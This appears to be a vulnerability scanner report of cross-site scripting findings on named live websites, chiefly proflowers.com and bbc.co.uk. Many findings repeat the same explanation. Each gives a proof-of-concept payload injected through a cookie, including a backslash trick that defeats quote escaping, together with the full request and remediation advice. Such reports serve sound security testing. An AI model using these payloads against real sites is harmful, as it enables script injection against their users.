GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2026514&PluID=0&w=300&h=600&ord=943421&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/t%3B225422721%3B0-0%3B0%3B19196799%3B4307-300/250%3B39655019/39672806/1%3B%3B%7Eokv%3D%3Bslot%3Dmpu%3Bsz%3D300x250%2C300x600%3Bsectn%3Dnonnews%3Bctype%3Dindex%3Bnnsec%3Dhomepage_int%3Breferrer%3Dnonbbc%3Breferrer_domain%3D%3Brsi%3D%3Btile%3D2%3B%7Esscs%3D%3f$$ HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://www.bbc.co.uk/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=b4539%3balert(1)//2c0e8f29bd9; A2=f76j9MhU0bH30000820wrLeEn29IrS07ft0000820wrAe38E9IrS07ft0000820wrA; B2=76Kr0820wrA6Dcf0820wrA7pH.0820wrL; C3=0va8820wrL0000001_0uyK820wrA0000001_0t8k820wrA0000200_; D3=0va802nr820wrL0t8k005D820wrA0uyK005D820wrA; E2=0bH3820wrL07ftg410rA; u2=a471c162-f9b4-4640-82eb-21e69471e0c43F102g; u3=1
The value of the BBC-UID cookie is copied into an HTML comment. The payload 4872e--><script>alert(1)</script>a532a208ae6 was submitted in the BBC-UID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /arabic/ HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e104872e--><script>alert(1)</script>a532a208ae6; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html Date: Thu, 16 Dec 2010 19:31:50 GMT Keep-Alive: timeout=4, max=119 Accept-Ranges: bytes Connection: close Content-Length: 69282
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ar" lang="ar"> <head> <met ...[SNIP]...
BBC_SESSION_ID: 843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.104872e--><script>alert(1)</script>a532a208ae6 CLIENT_IP: 3425923497 --> ...[SNIP]...
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2a8ca\"%3balert(1)//7bcaf94487e was submitted in the PFC_BrowserId cookie. This input was echoed as 2a8ca\\";alert(1)//7bcaf94487e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET / HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d2a8ca\"%3balert(1)//7bcaf94487e; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:05:10 GMT Connection: close Content-Length: 83116
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 82150\"%3balert(1)//f27050f7a5e was submitted in the PFC_BrowserId cookie. This input was echoed as 82150\\";alert(1)//f27050f7a5e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Affiliates.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d82150\"%3balert(1)//f27050f7a5e; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:12 GMT Connection: close Content-Length: 50517
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f238c\"%3balert(1)//97c58a97750 was submitted in the PFC_BrowserId cookie. This input was echoed as f238c\\";alert(1)//97c58a97750 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ContactUs.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0df238c\"%3balert(1)//97c58a97750; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:36 GMT Connection: close Content-Length: 58923
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f4634\"%3balert(1)//a7df0815cd5 was submitted in the PFC_BrowserId cookie. This input was echoed as f4634\\";alert(1)//a7df0815cd5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /CustomerServiceFAQ.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0df4634\"%3balert(1)//a7df0815cd5; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:42 GMT Connection: close Content-Length: 48834
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dea04\"%3balert(1)//73e8b466783 was submitted in the PFC_BrowserId cookie. This input was echoed as dea04\\";alert(1)//73e8b466783 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /PressRoom.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0ddea04\"%3balert(1)//73e8b466783; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: nextAction=bb2a0a43-51ad-455a-96b3-b3b413c61686; domain=.proflowers.com; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:49 GMT Connection: close Content-Length: 43848
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dfd13\"%3balert(1)//bd964b7acbb was submitted in the PFC_BrowserId cookie. This input was echoed as dfd13\\";alert(1)//bd964b7acbb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ProductSearch.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0ddfd13\"%3balert(1)//bd964b7acbb; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:54 GMT Connection: close Content-Length: 50259
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... }s.prop4 = s.getQueryParam('LinkLocation');s.prop5 = "na:na:na:na";s.prop10="";s.prop11="pfc";s.prop12="true";s.prop13="false";s.prop14="true";s.prop16="";s.prop28="e0fb93e1-21b4-45f1-99d8-8846bf4ade0ddfd13\\";alert(1)//bd964b7acbb";/* populate s.prop29 based on teh giftsmart and FS Offer */if ("" == "ControlGroupWOFSH") { s.prop29 = "GSHBNoF";}else if ("" == "ControlGroupWithFSH") { s.prop29 = "GSHBF";}else if ("" == "Gif ...[SNIP]...
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f424\"%3balert(1)//a74aee8552c was submitted in the PFC_BrowserId cookie. This input was echoed as 5f424\\";alert(1)//a74aee8552c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /anniversary-flowers-ann HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d5f424\"%3balert(1)//a74aee8552c; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:08:03 GMT Connection: close Content-Length: 210050
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8e607\"%3balert(1)//f0e62908a2d was submitted in the PFC_BrowserId cookie. This input was echoed as 8e607\\";alert(1)//f0e62908a2d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /berries-ber HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d8e607\"%3balert(1)//f0e62908a2d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:02 GMT Connection: close Content-Length: 218099
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7e3dc\"%3balert(1)//65e2ef348fb was submitted in the PFC_BrowserId cookie. This input was echoed as 7e3dc\\";alert(1)//65e2ef348fb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /best-flowers-pre HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d7e3dc\"%3balert(1)//65e2ef348fb; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:18 GMT Connection: close Content-Length: 122718
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9be74\"%3balert(1)//88661aee6fe was submitted in the PFC_BrowserId cookie. This input was echoed as 9be74\\";alert(1)//88661aee6fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
